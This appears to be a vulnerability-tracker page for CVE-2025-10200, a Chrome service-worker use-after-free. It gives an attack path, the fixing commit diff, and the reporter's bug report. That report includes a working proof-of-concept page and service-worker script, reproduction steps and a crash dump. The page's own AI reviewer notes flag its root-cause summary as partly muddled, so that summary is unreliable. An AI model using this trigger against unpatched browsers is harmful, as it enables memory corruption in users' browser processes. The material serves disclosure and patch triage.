CVE-2025-10200

Critical patch-now ~ plausible CVSS 8.8 chrome UAF 📄 Reporter bug report 🔧 Commit mapped 🧬 A nested callout frees the object, then it is used

Overview

Critical

Severity

8.8

CVSS

Exploited ITW

Fixed

Fix Status

ImpactUse after free in Serviceworker

DescriptionUse after free in Serviceworker

ComponentServiceworker

Sub-componentBlink>ServiceWorker

Bug ClassUAF

Action tierpatch-now — corruption primitive, web-reachable in default config (plausible) — upheld by independent review by AI
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.

Independent review by AIPlausible
Reviewer notes: Mechanism muddled: real defect is swap-back discarding timeout entries added by callbacks (local set destroyed), not per-entry erase. error_callback is browser-internal, not 'application-controlled'. Exact freed object/trigger path not shown in diff; also DCHECK->CHECK promotion.
A second, independent AI reviewer (not a human) re-derived this analysis from the fixing commit and the vendor advisory, looking for errors.

Tracker440454442

Fix commit7a2821580c0f (chromium/src) +31/-21

CWECWE-416 (Use-after-free)

CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CISA KEVNot listed

CreditedLooben Yang

Reported2025-08-22 · bounty $43000 (per vendor advisory)

Fix landed2025-08-27 (public git)

Disclosed2025-09-09

Patch gap13 days — fix public in source before the advisory

Background

`ServiceWorkerVersion`: the browser-process object (content/browser/service_worker/service_worker_version.cc) that owns a running service worker and tracks its in-flight event requests.
`inflight_requests_`: an IDMap of live Request objects, each holding an error_callback; entries are removed as requests complete or time out.
`request_timeouts_`: an ordered std::set<InflightRequestTimeoutInfo> sorted by expiration, used by OnTimeoutTimer to find requests that have exceeded their deadline.
`OnTimeoutTimer`: a periodic callback that walks request_timeouts_ and fires error callbacks (via MaybeTimeoutRequest) for expired requests.

Root Cause Analysis

Verify before building a PoC

This analysis is consistent with the fixing commit but not fully provable from it: part of the vulnerable path lives in code the fix commit does not touch. Confirm the trigger and the sink against the source before relying on it for exploit development.
What the commit does not establish: Mechanism muddled: real defect is swap-back discarding timeout entries added by callbacks (local set destroyed), not per-entry erase. error_callback is browser-internal, not 'application-controlled'. Exact freed object/trigger path not shown in diff; also DCHECK->CHECK promotion.

OnTimeoutTimer iterated over its request set while, inside the loop, MaybeTimeoutRequest synchronously ran a request’s error_callback. That error callback is application-reachable and could start a new fetch/request, mutating the very containers being walked. The original code tried to guard this by swap-ing request_timeouts_ into a local request_timeouts set, but the local set was still erased entry-by-entry during callback execution, and re-entrancy could free the InflightRequestTimeoutInfo/Request state associated with a freshly created request while it was still referenced in flight. Compounding this, MaybeTimeoutRequest ran error_callback before removing the request from inflight_requests_, so a callback that synchronously finished another request left request_timeouts_ and inflight_requests_ out of sync (the original DCHECK_EQ). The net effect was a use-after-free driven by re-entrant modification of request-tracking state during timeout processing.

Key insight

Firing an application-controlled error callback in the middle of iterating the request-tracking containers lets that callback re-enter and mutate/free the same state, so the fix separates identification of timed-out requests from invocation of their callbacks and reorders map removal to run before the callback.

Attack Path

Stall a request A malicious service worker starts an event/request and lets it run until it exceeds its timeout deadline so it appears in request_timeouts_.
Trigger timeout processing OnTimeoutTimer fires and begins iterating expired requests, calling MaybeTimeoutRequest which invokes the request’s error_callback.
Re-enter from the callback The error callback synchronously starts a new fetch request, inserting into request_timeouts_/inflight_requests_ while the outer loop is still iterating and erasing.
Free in-flight state The re-entrant mutation frees the timeout/request info for the still-in-flight new request (and desynchronizes the two maps).
Use-after-free Continued iteration or later access dereferences the freed InflightRequestTimeoutInfo/Request, yielding memory corruption.

Impact Assessment

This is a critical use-after-free in the browser process reachable from a compromised or malicious service worker context. Memory corruption in the privileged browser process can be leveraged for out-of-sandbox code execution or as a sandbox-escape primitive when chained with a renderer bug. The desynchronization also produced inconsistent request-tracking state that would trip DCHECK/CHECK invariants.

Changed Functions

Function	Change	Notes
`for` content/browser/service_worker/service_worker_version.cc	modified
`switch` content/browser/service_worker/service_worker_version.cc	modified

Files Changed

content/browser/service_worker/service_worker_version.cc

Audit Directions

Iterator invalidation across callbacks
Flag any loop over a container (std::set, IDMap, vector) that invokes a client- or application-supplied callback in its body; the callback may re-enter and mutate/free the container’s elements.
Callback-before-cleanup ordering
Look for patterns that run a stored callback before removing/destroying the owning object; move destruction/removal ahead of invocation so re-entrant work sees a consistent state.
Paired-container invariants
Audit places that assume two related maps (request_timeouts_ and inflight_requests_) stay in lock-step; verify both are updated atomically with respect to any re-entrant callback rather than relying on post-hoc DCHECKs.

Patch

view commit

From 7a2821580c0fd65387c70d432017e31881a90c51 Mon Sep 17 00:00:00 2001
From: Yoshisato Yanagisawa <[email protected]>
Date: Tue, 26 Aug 2025 18:06:45 -0700
Subject: [PATCH] Fix race condition in ServiceWorkerVersion::OnTimeoutTimer

A race condition between handling request timeouts and starting new
requests could lead to memory corruption issues, such as the
use-after-free reported in the initial security bug. Specifically, if an
error callback for a timed-out request triggers a new fetch request,
the timeout info for the new request could be freed while the request is
still in flight.

This change fixes the race by making the timeout handling logic in
OnTimeoutTimer re-entrant. It now iterates through the pending
requests, moves the timed-out ones to a separate list, and then
iterates over that new list to call the callbacks. This
ensures that the main request list is not modified while it's being
iterated over.

Additionally, this change fixes a DCHECK failure by ensuring that the
inflight_requests_ map is updated before calling the error callback in
MaybeTimeoutRequest. This prevents a scenario where the callback could
trigger another request to finish, leading to an inconsistent state
between the request_timeouts_ and inflight_requests_ maps.

Bug: 440454442, 40864997
Change-Id: Ie3b4a2c1d0f9e8d7c6b5a4f3e2d1c0b9a8d7e6f5
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/6875344
Reviewed-by: Shunya Shishido <[email protected]>
Reviewed-by: Keita Suzuki <[email protected]>
Commit-Queue: Yoshisato Yanagisawa <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1506873}
---

diff --git a/content/browser/service_worker/service_worker_version.cc b/content/browser/service_worker/service_worker_version.cc
index 6c6c2e57..058d68e 100644
--- a/content/browser/service_worker/service_worker_version.cc
+++ b/content/browser/service_worker/service_worker_version.cc
@@ -2584,20 +2584,23 @@
     return;
   }
 
-  // Are there requests that have not finished before their expiration.
-  bool has_kill_on_timeout = false;
-  bool has_continue_on_timeout = false;
-  // In case, `request_timeouts_` can be modified in the callbacks initiated
-  // in `MaybeTimeoutRequest`, we keep its contents locally during the
-  // following while loop.
-  std::set<InflightRequestTimeoutInfo> request_timeouts;
-  request_timeouts.swap(request_timeouts_);
-  auto timeout_iter = request_timeouts.begin();
-  while (timeout_iter != request_timeouts.end()) {
-    const InflightRequestTimeoutInfo& info = *timeout_iter;
-    if (!RequestExpired(info.expiration_time)) {
+  // 1. Identify timed-out requests and extract their info. This is done in a
+  // separate loop to avoid race conditions where a timeout callback adds a new
+  // request that could be immediately timed out.
+  std::vector<InflightRequestTimeoutInfo> timed_out_infos;
+  auto it = request_timeouts_.begin();
+  while (it != request_timeouts_.end()) {
+    if (!RequestExpired(it->expiration_time)) {
       break;
     }
+    timed_out_infos.push_back(*it);
+    it = request_timeouts_.erase(it);
+  }
+
+  // 2. Run the error callbacks for the timed-out requests.
+  bool has_kill_on_timeout = false;
+  bool has_continue_on_timeout = false;
+  for (const auto& info : timed_out_infos) {
     if (MaybeTimeoutRequest(info)) {
       switch (info.timeout_behavior) {
         case KILL_ON_TIMEOUT:
@@ -2608,14 +2611,12 @@
           break;
       }
     }
-    timeout_iter = request_timeouts.erase(timeout_iter);
   }
-  // Ensure the `request_timeouts_` won't be touched during the loop.
-  DCHECK(request_timeouts_.empty());
-  request_timeouts_.swap(request_timeouts);
-  // TODO(crbug.com/40864997): remove the following DCHECK when the cause
-  // identified.
-  DCHECK_EQ(request_timeouts_.size(), inflight_requests_.size());
+
+  // TODO(crbug.com/40864997): This was promoted from a DCHECK to validate
+  // the fix for this bug. If no crashes are observed by the next release
+  // cycle, this CHECK and other related DCHECKs in this file can be removed.
+  CHECK_EQ(request_timeouts_.size(), inflight_requests_.size());
 
   if (has_kill_on_timeout &&
       running_status() != blink::EmbeddedWorkerStatus::kStopping) {
@@ -2722,9 +2723,18 @@
   // ServiceWorkerVersion::Request
   TRACE_EVENT_END("ServiceWorker", perfetto::Track::FromPointer(request),
                   "Error", "Timeout");
-  std::move(request->error_callback)
-      .Run(blink::ServiceWorkerStatusCode::kErrorTimeout);
+
+  // Move the callback to a local variable before removing the request from the
+  // map, as the request object will be destroyed.
+  auto error_callback = std::move(request->error_callback);
+
+  // Remove the request from inflight_requests_ *before* running the callback.
+  // This restores the invariant that request_timeouts_ and inflight_requests_
+  // have the same size, preventing a DCHECK failure if the callback
+  // synchronously finishes another request.
   inflight_requests_.Remove(info.id);
+
+  std::move(error_callback).Run(blink::ServiceWorkerStatusCode::kErrorTimeout);
   return true;
 }

Loading diff…

Original Bug Report

reported by [email protected]

Use After Free in ServiceWorkerVersion::FinishRequestWithFetchCount() in browser process.

VULNERABILITY DETAILS

Specifically crafted web page can trigger Use After Free of InflightRequestTimeoutInfo object in ServiceWorkerVersion::FinishRequestWithFetchCount(). This bug may potentially be exploited to achieve one click Remote Code Execution in browser process (outside sandbox).

ServiceWorkerVersion connects the actual script with a running service worker. ServiceWorkerVersion Handles requests of different types e.g. install, activate, fetch etc.
These requests usually take some time and need to be processed asynchronously, so its member inflight_requests_ holds in-flight requests:

  base::IDMap&lt;std::unique_ptr&lt;InflightRequest&gt;&gt; inflight_requests_;
  
Since these requests are subjected to expiry,  ServiceWorkerVersion also has member request_timeouts_ which is a set of InflightRequestTimeoutInfo to track the timeout information:

  std::set&lt;InflightRequestTimeoutInfo&gt; request_timeouts_;

When a request is started, a new InflightRequest object is created in  ServiceWorkerVersion::StartRequestWithCustomTimeout() and added to container inflight_requests_. An InflightRequestTimeoutInfo object is also created and added to container request_timeouts_. InflightRequest has one member "timeout_iter" that refers to the corresponding iterator in request_timeouts_.

	int ServiceWorkerVersion::StartRequestWithCustomTimeout()
	{
	  ...
	  auto request = std::make_unique&lt;InflightRequest&gt;(std::move(error_callback), clock_-&gt;Now(), tick_clock_-&gt;NowTicks(),event_type);
	  InflightRequest* request_rawptr = request.get();
	  int request_id = inflight_requests_.Add(std::move(request));
	  ...
	  auto [iter, is_inserted] = request_timeouts_.emplace(
		  request_id, event_type, expiration_time, timeout_behavior);
	  ...
	  request_rawptr-&gt;timeout_iter = iter;
	  ...
	}

When the request is finished, the InflightRequest object is retrieved via request_id. The aforementioned "timeout_iter" member of InflightRequest is used to locate the InflightRequestTimeoutInfo inside request_timeouts_. The corresponding objects in   request_timeouts_ and inflight_requests_ are removed respectively.

	bool ServiceWorkerVersion::FinishRequestWithFetchCount() {
	  InflightRequest* request = inflight_requests_.Lookup(request_id);
	  ...
	  request_timeouts_.erase(request-&gt;timeout_iter);
	  inflight_requests_.Remove(request_id);
	  ...
	}

Besides,  ServiceWorkerVersion periodically checks "request_timeouts_" for entries that should time out in ServiceWorkerVersion::OnTimeoutTimer() which executes every 30 seconds (kTimeoutTimerDelay = base::Seconds(30)):  

	void ServiceWorkerVersion::OnTimeoutTimer() {
	  ...
	  std::set&lt;InflightRequestTimeoutInfo&gt; request_timeouts;
	  request_timeouts.swap(request_timeouts_);
	  auto timeout_iter = request_timeouts.begin();
	  while (timeout_iter != request_timeouts.end()) {
		const InflightRequestTimeoutInfo& info = *timeout_iter;
		if (!RequestExpired(info.expiration_time)) {
		  break;
		}
		if (MaybeTimeoutRequest(info)) {
			...
		  }
		}
		timeout_iter = request_timeouts.erase(timeout_iter);
	  }
	  ...  
	  request_timeouts_.swap(request_timeouts);  
	  ...
	}

If the request is expired, "error_callback" of the request is executed (in MaybeTimeoutRequest()). The InflightRequestTimeoutInfo entry is removed from request_timeouts_ in OnTimeoutTimer(), while the InflightRequest entry is removed from inflight_requests_ in MaybeTimeoutRequest().
  
bool ServiceWorkerVersion::MaybeTimeoutRequest(
	const InflightRequestTimeoutInfo& info) {
  InflightRequest* request = inflight_requests_.Lookup(info.id);
  ...
  std::move(request-&gt;error_callback)
	  .Run(blink::ServiceWorkerStatusCode::kErrorTimeout);
  inflight_requests_.Remove(info.id);
  return true;
}

There is a problem with the swap operation against request_timeouts_ and the MaybeTimeoutRequest() method. 
What if a new request object is added to "request_timeouts_" during these operations? Turns out it's possible.

In the window code of the PoC, location.reload() is called after a service worker is registered with scope "/", the fetch request would be intercepted and served by the service worker which has a fetch event listener.

		navigator.serviceWorker.register("/svcworker0.js", {scope: "/"});
		setTimeout(function(){location.reload()},1000);
		
In the service worker js code of the PoC, waitUntil() is used to delay the activation process of the service worker for 332000ms ( &gt; 5 minutes). 

		const p1 = new Promise((resolve, reject) =&gt; {
		  setTimeout(() =&gt; {
			resolve("foo");
		  }, 332000);
		});

		this.onactivate = function (e) {
			e.waitUntil(p1);
		};
		
So the activation request would expire (kRequestTimeout = 5 minutes) before the activate handler returns.  The timeout value of 332000ms is picked to be &gt; kRequestTimeout + kTimeoutTimerDelay = 5 minutes + 30s = 3300000ms, so ServiceWorkerVersion::OnTimeoutTimer() is definitely called after the activate request expires but before the activate handler returns. 

Therefore, the "error_callback" (which is "ServiceWorkerRegistration::OnActivateEventFinished())of the request is executed from aybeTimeoutRequest(). This ultimately leads to the creation of a new InflightRequestTimeoutInfo object for the fetch operation:

	ServiceWorkerVersion::MaybeTimeoutRequest()
	  ServiceWorkerRegistration::OnActivateEventFinished()
		ServiceWorkerVersion::SetStatus()
		  ServiceWorkerControlleeRequestHandler::ContinueWithActivatedVersion()
			ServiceWorkerControlleeRequestHandler::CreateLoaderAndStartRequest()
			  NavigationURLLoaderImpl::MaybeStartLoader()
				NavigationURLLoaderImpl::StartInterceptedRequest()
				  NavigationURLLoaderImpl::CreateThrottlingLoaderAndStart()
					ThrottlingURLLoader::CreateLoaderAndStart()
					  ThrottlingURLLoader::Start()
						ThrottlingURLLoader::StartNow()
						  URLLoaderFactory::CreateLoaderAndStart()
							SingleRequestURLLoaderFactory::CreateLoaderAndStart()
							  SingleRequestURLLoaderFactory::HandlerState::CreateLoaderAndStart()
								ServiceWorkerMainResourceLoader::StartRequest()
								  ServiceWorkerFetchDispatcher::StartWorker()
									ServiceWorkerFetchDispatcher::DispatchFetchEvent()
									  ServiceWorkerVersion::StartRequest(()
										ServiceWorkerVersion::StartRequestWithCustomTimeout()

As described above, a new InflightRequest object for the fetch operation is created in  ServiceWorkerVersion::StartRequestWithCustomTimeout() and added to container inflight_requests_. An InflightRequestTimeoutInfo object is also created and added to container request_timeouts_.
 
However, because the swap operation ("request_timeouts.swap(request_timeouts_)") in ServiceWorkerVersion::OnTimeoutTimer(), the new InflightRequestTimeoutInfo object is in member variable request_timeouts_, but is NOT in the local variable request_timeouts. After the timeout checkings and callback executions and the second swap call ("request_timeouts_.swap(request_timeouts)"), the new InflightRequestTimeoutInfo object is in the local variable request_timeouts, but NOT in the member variable request_timeouts_. on the exit of function ServiceWorkerVersion::OnTimeoutTimer(), as the local variable goes out of scope, the new InflightRequestTimeoutInfo object is unexpectedly freed.

At this point, there is inconsistency between request_timeouts_ and inflight_requests_. The new InflightRequest object is still in inflight_requests_, but there is NO corresponding InflightRequestTimeoutInfo object in container request_timeouts_. 

When the fetch handler JS code finally returns,  ServiceWorkerVersion::FinishRequestWithFetchCount() gets executed. The operations based on the stale "request-&gt;timeout_iter" pointer is Use After Free (and/or double free).

I believe this bug probably affects all OSs across all release channels. Crash state on MacOS (UAF_FinishRequestWithFetchCount_crashState_Mac.txt) and ASAN report (UAF_FinishRequestWithFetchCount_ASAN.txt) are also collected and attached here for your reference.

VERSION Google Chrome 141.0.7354.4 (Official Build) dev (64-bit) (cohort: Control) Revision b3cc3de50fcf9008fcd6ef93a660b1aa16c7933d-refs/branch-heads/7354@{#5} OS Windows 11 Version 24H2 (Build 26100.4946) JavaScript V8 14.1.56

BISECT Commit that introduced the bug : https://source.chromium.org/chromium/chromium/src/+/5926fa916d9ad53c77e31ee757e1979275d7466c (Committed on 2022-07-13 11:21 AM)

REPRODUCTION CASE (whole server code in UAF_FinishRequestWithFetchCount_PoC.js)

window code:

	&lt;script&gt;
	navigator.serviceWorker.register("/svcworker0.js", {scope: "/"});
	setTimeout(function(){location.reload()},1000);
	&lt;/script&gt;

Service worker code (svcworker0.js):
	const p1 = new Promise((resolve, reject) =&gt; {
	  setTimeout(() =&gt; {
		resolve("foo");
	  }, 332000);
	});

	this.onactivate = function (e) {
		e.waitUntil(p1);
	};
	this.onfetch = function (e) {
		e.waitUntil(new Promise(resolve =&gt; setTimeout(resolve, 1)));
	};

Steps to reproduce:

Run the PoC with NodeJS: node UAF_FinishRequestWithFetchCount_PoC.js
Enter http://localhost:12345/ from the chrome browser

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION Type of crash: browser Crash State:

(30a0.af88): Access violation - code c0000005 (!!! second chance !!!)
chrome!std::__Cr::__tree_min+0x3 [inlined in chrome!std::__Cr::__tree&lt;std::__Cr::__value_type&lt;std::__Cr::basic_string&lt;char,std::__Cr::char_traits&lt;char&gt;,std::__Cr::allocator&lt;char&gt; &gt;,std::__Cr::vector&lt;media::ChunkDemuxerStream *,std::__Cr::allocator&lt;media::ChunkDemuxerStream *&gt; &gt; &gt;,std::__Cr::__map_value_compare&lt;std::__Cr::basic_string&lt;char,std::__Cr::char_traits&lt;char&gt;,std::__Cr::allocator&lt;char&gt; &gt;,std::__Cr::pair&lt;const std::__Cr::basic_string&lt;char,std::__Cr::char_traits&lt;char&gt;,std::__Cr::allocator&lt;char&gt; &gt;,std::__Cr::vector&lt;media::ChunkDemuxerStream *,std::__Cr::allocator&lt;media::ChunkDemuxerStream *&gt; &gt; &gt;,std::__Cr::less&lt;std::__Cr::basic_string&lt;char,std::__Cr::char_traits&lt;char&gt;,std::__Cr::allocator&lt;char&gt; &gt; &gt;,1&gt;,std::__Cr::allocator&lt;std::__Cr::pair&lt;const std::__Cr::basic_string&lt;char,std::__Cr::char_traits&lt;char&gt;,std::__Cr::allocator&lt;char&gt; &gt;,std::__Cr::vector&lt;media::ChunkDemuxerStream *,std::__Cr::allocator&lt;media::ChunkDemuxerStream *&gt; &gt; &gt; &gt; &gt;::__remove_node_pointer+0x47]:
00007ff8`b2abd637 488b12          mov     rdx,qword ptr [rdx] ds:54415541`56415741=????????????????
0:000&gt; r
rax=5441554156415741 rbx=0000000000000003 rcx=00002f2c02118150
rdx=5441554156415741 rsi=00000074515fd338 rdi=00002f2c044ff430
rip=00007ff8b2abd637 rsp=00000074515fd2c0 rbp=000000000838b500
 r8=00002f2c04518680  r9=0000000000000001 r10=000000000002bf20
r11=0000000000000032 r12=0000000000000000 r13=00000074515fd458
r14=00002f2c021180f8 r15=00002f2c04518680
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010204
chrome!std::__Cr::__tree_min+0x3 [inlined in chrome!std::__Cr::__tree&lt;std::__Cr::__value_type&lt;std::__Cr::basic_string&lt;char,std::__Cr::char_traits&lt;char&gt;,std::__Cr::allocator&lt;char&gt; &gt;,std::__Cr::vector&lt;media::ChunkDemuxerStream *,std::__Cr::allocator&lt;media::ChunkDemuxerStream *&gt; &gt; &gt;,std::__Cr::__map_value_compare&lt;std::__Cr::basic_string&lt;char,std::__Cr::char_traits&lt;char&gt;,std::__Cr::allocator&lt;char&gt; &gt;,std::__Cr::pair&lt;const std::__Cr::basic_string&lt;char,std::__Cr::char_traits&lt;char&gt;,std::__Cr::allocator&lt;char&gt; &gt;,std::__Cr::vector&lt;media::ChunkDemuxerStream *,std::__Cr::allocator&lt;media::ChunkDemuxerStream *&gt; &gt; &gt;,std::__Cr::less&lt;std::__Cr::basic_string&lt;char,std::__Cr::char_traits&lt;char&gt;,std::__Cr::allocator&lt;char&gt; &gt; &gt;,1&gt;,std::__Cr::allocator&lt;std::__Cr::pair&lt;const std::__Cr::basic_string&lt;char,std::__Cr::char_traits&lt;char&gt;,std::__Cr::allocator&lt;char&gt; &gt;,std::__Cr::vector&lt;media::ChunkDemuxerStream *,std::__Cr::allocator&lt;media::ChunkDemuxerStream *&gt; &gt; &gt; &gt; &gt;::__remove_node_pointer+0x47]:
00007ff8`b2abd637 488b12          mov     rdx,qword ptr [rdx] ds:54415541`56415741=????????????????
0:000&gt; dv
			__x = 0x54415541`56415741
0:000&gt; dx -id 0,0 -r1 ((chrome!std::__Cr::__tree_node_base&lt;void *&gt; *)0x5441554156415741)
((chrome!std::__Cr::__tree_node_base&lt;void *&gt; *)0x5441554156415741)                 : 0x5441554156415741 [Type: std::__Cr::__tree_node_base&lt;void *&gt; *]
	[+0x000] __left_          : Unable to read memory at Address 0x5441554156415741
	[+0x008] __right_         : Unable to read memory at Address 0x5441554156415749
	[+0x010] __parent_        : Unable to read memory at Address 0x5441554156415751
	[+0x018] __is_black_      : Unable to read memory at Address 0x5441554156415759
0:000&gt; k
 # Child-SP          RetAddr               Call Site
00 (Inline Function) --------`--------     chrome!std::__Cr::__tree_min+0x3 [C:\b\s\w\ir\cache\builder\src\third_party\libc++\src\include\__tree @ 163] 
01 (Inline Function) --------`--------     chrome!std::__Cr::__tree_next_iter+0x3f [C:\b\s\w\ir\cache\builder\src\third_party\libc++\src\include\__tree @ 192] 
02 (Inline Function) --------`--------     chrome!std::__Cr::__tree_iterator&lt;std::__Cr::__value_type&lt;std::__Cr::basic_string&lt;char,std::__Cr::char_traits&lt;char&gt;,std::__Cr::allocator&lt;char&gt; &gt;,std::__Cr::vector&lt;media::ChunkDemuxerStream *,std::__Cr::allocator&lt;media::ChunkDemuxerStream *&gt; &gt; &gt;,std::__Cr::__tree_node&lt;std::__Cr::__value_type&lt;std::__Cr::basic_string&lt;char,std::__Cr::char_traits&lt;char&gt;,std::__Cr::allocator&lt;char&gt; &gt;,std::__Cr::vector&lt;media::ChunkDemuxerStream *,std::__Cr::allocator&lt;media::ChunkDemuxerStream *&gt; &gt; &gt;,void *&gt; *,long long&gt;::operator+++0x3f [C:\b\s\w\ir\cache\builder\src\third_party\libc++\src\include\__tree @ 655] 
03 00000074`515fd2c0 00007ff8`b2be393f     chrome!std::__Cr::__tree&lt;std::__Cr::__value_type&lt;std::__Cr::basic_string&lt;char,std::__Cr::char_traits&lt;char&gt;,std::__Cr::allocator&lt;char&gt; &gt;,std::__Cr::vector&lt;media::ChunkDemuxerStream *,std::__Cr::allocator&lt;media::ChunkDemuxerStream *&gt; &gt; &gt;,std::__Cr::__map_value_compare&lt;std::__Cr::basic_string&lt;char,std::__Cr::char_traits&lt;char&gt;,std::__Cr::allocator&lt;char&gt; &gt;,std::__Cr::pair&lt;const std::__Cr::basic_string&lt;char,std::__Cr::char_traits&lt;char&gt;,std::__Cr::allocator&lt;char&gt; &gt;,std::__Cr::vector&lt;media::ChunkDemuxerStream *,std::__Cr::allocator&lt;media::ChunkDemuxerStream *&gt; &gt; &gt;,std::__Cr::less&lt;std::__Cr::basic_string&lt;char,std::__Cr::char_traits&lt;char&gt;,std::__Cr::allocator&lt;char&gt; &gt; &gt;,1&gt;,std::__Cr::allocator&lt;std::__Cr::pair&lt;const std::__Cr::basic_string&lt;char,std::__Cr::char_traits&lt;char&gt;,std::__Cr::allocator&lt;char&gt; &gt;,std::__Cr::vector&lt;media::ChunkDemuxerStream *,std::__Cr::allocator&lt;media::ChunkDemuxerStream *&gt; &gt; &gt; &gt; &gt;::__remove_node_pointer+0x47 [C:\b\s\w\ir\cache\builder\src\third_party\libc++\src\include\__tree @ 1807] 
04 (Inline Function) --------`--------     chrome!std::__Cr::__tree&lt;content::ServiceWorkerVersion::InflightRequestTimeoutInfo,std::__Cr::less<content::ServiceWorkerVersion::InflightRequestTimeoutInfo>,std::__Cr::allocator<content::ServiceWorkerVersion::InflightRequestTimeoutInfo> &gt;::erase+0x8 [C:\b\s\w\ir\cache\builder\src\third_party\libc++\src\include\__tree @ 1937] 
05 (Inline Function) --------`--------     chrome!std::__Cr::set&lt;content::ServiceWorkerVersion::InflightRequestTimeoutInfo,std::__Cr::less<content::ServiceWorkerVersion::InflightRequestTimeoutInfo>,std::__Cr::allocator<content::ServiceWorkerVersion::InflightRequestTimeoutInfo> &gt;::erase+0x8 [C:\b\s\w\ir\cache\builder\src\third_party\libc++\src\include\set @ 772] 
06 00000074`515fd2f0 00007ff8`b48aefe5     chrome!content::ServiceWorkerVersion::FinishRequestWithFetchCount+0xbf [C:\b\s\w\ir\cache\builder\src\content\browser\service_worker\service_worker_version.cc @ 852] 
07 00000074`515fd3a0 00007ff8`b48aeeb7     chrome!content::ServiceWorkerFetchDispatcher::ResponseCallback::HandleResponse+0x55 [C:\b\s\w\ir\cache\builder\src\content\browser\service_worker\service_worker_fetch_dispatcher.cc @ 388] 
08 00000074`515fd420 00007ff8`afd081d2     chrome!content::ServiceWorkerFetchDispatcher::ResponseCallback::OnFallback+0xa7 [C:\b\s\w\ir\cache\builder\src\content\browser\service_worker\service_worker_fetch_dispatcher.cc @ 375] 
09 00000074`515fd4d0 00007ff8`b1f95b42     chrome!blink::mojom::ServiceWorkerFetchResponseCallbackStubDispatch::Accept+0x2e2 [C:\b\s\w\ir\cache\builder\src\out\ff92-win64-clang\gen\third_party\blink\public\mojom\service_worker\service_worker_fetch_response_callback.mojom.cc @ 536] 
0a (Inline Function) --------`--------     chrome!mojo::InterfaceEndpointClient::HandleValidatedMessage+0x14a [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\interface_endpoint_client.cc @ 1059] 
0b 00000074`515fd5c0 00007ff8`b185d79b     chrome!mojo::InterfaceEndpointClient::HandleIncomingMessageThunk::Accept+0x172 [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\interface_endpoint_client.cc @ 377] 
0c (Inline Function) --------`--------     chrome!mojo::MessageDispatcher::Accept+0x3ad [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\message_dispatcher.cc @ 43] 
0d (Inline Function) --------`--------     chrome!mojo::InterfaceEndpointClient::HandleIncomingMessage+0x475 [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\interface_endpoint_client.cc @ 731] 
0e (Inline Function) --------`--------     chrome!mojo::internal::MultiplexRouter::ProcessIncomingMessage+0x71c [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\multiplex_router.cc @ 1147] 
0f 00000074`515fd680 00007ff8`b222507e     chrome!mojo::internal::MultiplexRouter::Accept+0x9eb [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\multiplex_router.cc @ 759] 
10 00000074`515fda80 00007ff8`b039cbb6     chrome!mojo::MessageDispatcher::Accept+0x38e [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\message_dispatcher.cc @ 43] 
11 (Inline Function) --------`--------     chrome!mojo::Connector::DispatchMessageW+0x205 [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\connector.cc @ 560] 
12 (Inline Function) --------`--------     chrome!mojo::Connector::ReadAllAvailableMessages+0x2e2 [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\connector.cc @ 619] 
13 (Inline Function) --------`--------     chrome!mojo::Connector::OnHandleReadyInternal+0x2ea [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\connector.cc @ 450] 
14 (Inline Function) --------`--------     chrome!mojo::Connector::OnWatcherHandleReady+0x2f7 [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\connector.cc @ 416] 
15 (Inline Function) --------`--------     chrome!base::internal::DecayedFunctorTraits&lt;void (Connector::*)(const char *, unsigned int),mojo::Connector *,const char *const &&gt;::Invoke+0x307 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 731] 
16 (Inline Function) --------`--------     chrome!base::internal::InvokeHelper&lt;0,base::internal::FunctorTraits&lt;void (Connector::*const &)(const char *, unsigned int),mojo::Connector *,const char *const &&gt;,void,0,1&gt;::MakeItSo+0x31c [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 923] 
17 (Inline Function) --------`--------     chrome!base::internal::Invoker&lt;base::internal::FunctorTraits&lt;void (Connector::*const &)(const char *, unsigned int),mojo::Connector *,const char *const &&gt;,base::internal::BindState&lt;1,1,0,void (Connector::*)(const char *, unsigned int),base::internal::UnretainedWrapper<mojo::Connector,base::unretained_traits::MayNotDangle,0>,base::internal::UnretainedWrapper&lt;const char,base::unretained_traits::MayNotDangle,0&gt; &gt;,void (unsigned int)&gt;::RunImpl+0x31c [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 1060] 
18 00000074`515fdb60 00007ff8`b0f61daf     chrome!base::internal::Invoker&lt;base::internal::FunctorTraits&lt;void (Connector::*const &)(const char *, unsigned int),mojo::Connector *,const char *const &&gt;,base::internal::BindState&lt;1,1,0,void (Connector::*)(const char *, unsigned int),base::internal::UnretainedWrapper<mojo::Connector,base::unretained_traits::MayNotDangle,0>,base::internal::UnretainedWrapper&lt;const char,base::unretained_traits::MayNotDangle,0&gt; &gt;,void (unsigned int)&gt;::Run+0x356 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 980] 
19 (Inline Function) --------`--------     chrome!base::RepeatingCallback&lt;void (unsigned int)&gt;::Run+0x3b [C:\b\s\w\ir\cache\builder\src\base\functional\callback.h @ 344] 
1a (Inline Function) --------`--------     chrome!mojo::SimpleWatcher::DiscardReadyState+0x3b [C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\system\simple_watcher.h @ 192] 
